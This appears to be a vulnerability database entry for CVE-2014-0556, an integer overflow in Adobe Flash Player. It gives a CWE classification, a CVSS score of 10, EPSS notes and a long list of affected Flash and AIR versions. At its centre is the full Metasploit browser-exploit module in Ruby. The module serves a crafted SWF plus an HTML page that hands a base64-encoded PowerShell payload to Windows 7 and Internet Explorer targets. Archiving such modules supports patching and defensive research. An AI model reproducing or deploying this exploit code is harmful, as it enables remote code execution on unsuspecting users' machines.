Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 36808
Publication date : 2015-04-20
22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow',
'Description' => %q{
This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs
in the copyPixelsToByteArray method from the BitmapData object. The position field of the
destination ByteArray can be used to cause an integer overflow and write contents out of
the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit),
IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit
'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket
'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-0556'],
['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'],
['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'],
['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'],
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Sep 23 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 13.0.0.241
Adobe>>Flash_player >> Version 13.0.0.182
Adobe>>Flash_player >> Version 13.0.0.201
Adobe>>Flash_player >> Version 13.0.0.206
Adobe>>Flash_player >> Version 13.0.0.214
Adobe>>Flash_player >> Version 13.0.0.223
Adobe>>Flash_player >> Version 13.0.0.231
Adobe>>Flash_player >> Version 14.0.0.125
Adobe>>Flash_player >> Version 14.0.0.145
Adobe>>Flash_player >> Version 14.0.0.176
Adobe>>Flash_player >> Version 14.0.0.179
Adobe>>Flash_player >> Version 15.0.0.144
Apple>>Mac_os_x >> Version *
Microsoft>>Windows >> Version *
Configuraton 0
Adobe>>Adobe_air_sdk >> Version To (including) 14.0.0.178
Adobe>>Adobe_air_sdk >> Version 13.0.0.83
Adobe>>Adobe_air_sdk >> Version 13.0.0.111
Adobe>>Adobe_air_sdk >> Version 14.0.0.110
Adobe>>Adobe_air_sdk >> Version 14.0.0.137
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.400
Adobe>>Flash_player >> Version 11.2.202.223
Adobe>>Flash_player >> Version 11.2.202.228
Adobe>>Flash_player >> Version 11.2.202.233
Adobe>>Flash_player >> Version 11.2.202.235
Adobe>>Flash_player >> Version 11.2.202.236
Adobe>>Flash_player >> Version 11.2.202.238
Adobe>>Flash_player >> Version 11.2.202.243
Adobe>>Flash_player >> Version 11.2.202.251
Adobe>>Flash_player >> Version 11.2.202.258
Adobe>>Flash_player >> Version 11.2.202.261
Adobe>>Flash_player >> Version 11.2.202.262
Adobe>>Flash_player >> Version 11.2.202.270
Adobe>>Flash_player >> Version 11.2.202.273
Adobe>>Flash_player >> Version 11.2.202.275
Adobe>>Flash_player >> Version 11.2.202.280
Adobe>>Flash_player >> Version 11.2.202.285
Adobe>>Flash_player >> Version 11.2.202.291
Adobe>>Flash_player >> Version 11.2.202.297
Adobe>>Flash_player >> Version 11.2.202.310
Adobe>>Flash_player >> Version 11.2.202.332
Adobe>>Flash_player >> Version 11.2.202.335
Adobe>>Flash_player >> Version 11.2.202.336
Adobe>>Flash_player >> Version 11.2.202.341
Adobe>>Flash_player >> Version 11.2.202.346
Adobe>>Flash_player >> Version 11.2.202.350
Adobe>>Flash_player >> Version 11.2.202.356
Adobe>>Flash_player >> Version 11.2.202.359
Adobe>>Flash_player >> Version 11.2.202.378
Adobe>>Flash_player >> Version 11.2.202.394
Linux>>Linux_kernel >> Version *
Configuraton 0
Adobe>>Adobe_air >> Version To (including) 14.0.0.179
Adobe>>Adobe_air >> Version 13.0.0.83
Adobe>>Adobe_air >> Version 13.0.0.111
Adobe>>Adobe_air >> Version 14.0.0.110
Adobe>>Adobe_air >> Version 14.0.0.137
Google>>Android >> Version *
Configuraton 0
Adobe>>Adobe_air >> Version To (including) 14.0.0.178
Adobe>>Adobe_air >> Version 13.0.0.83
Adobe>>Adobe_air >> Version 13.0.0.111
Adobe>>Adobe_air >> Version 14.0.0.110
Adobe>>Adobe_air >> Version 14.0.0.137
Apple>>Mac_os_x >> Version *
Microsoft>>Windows >> Version *
References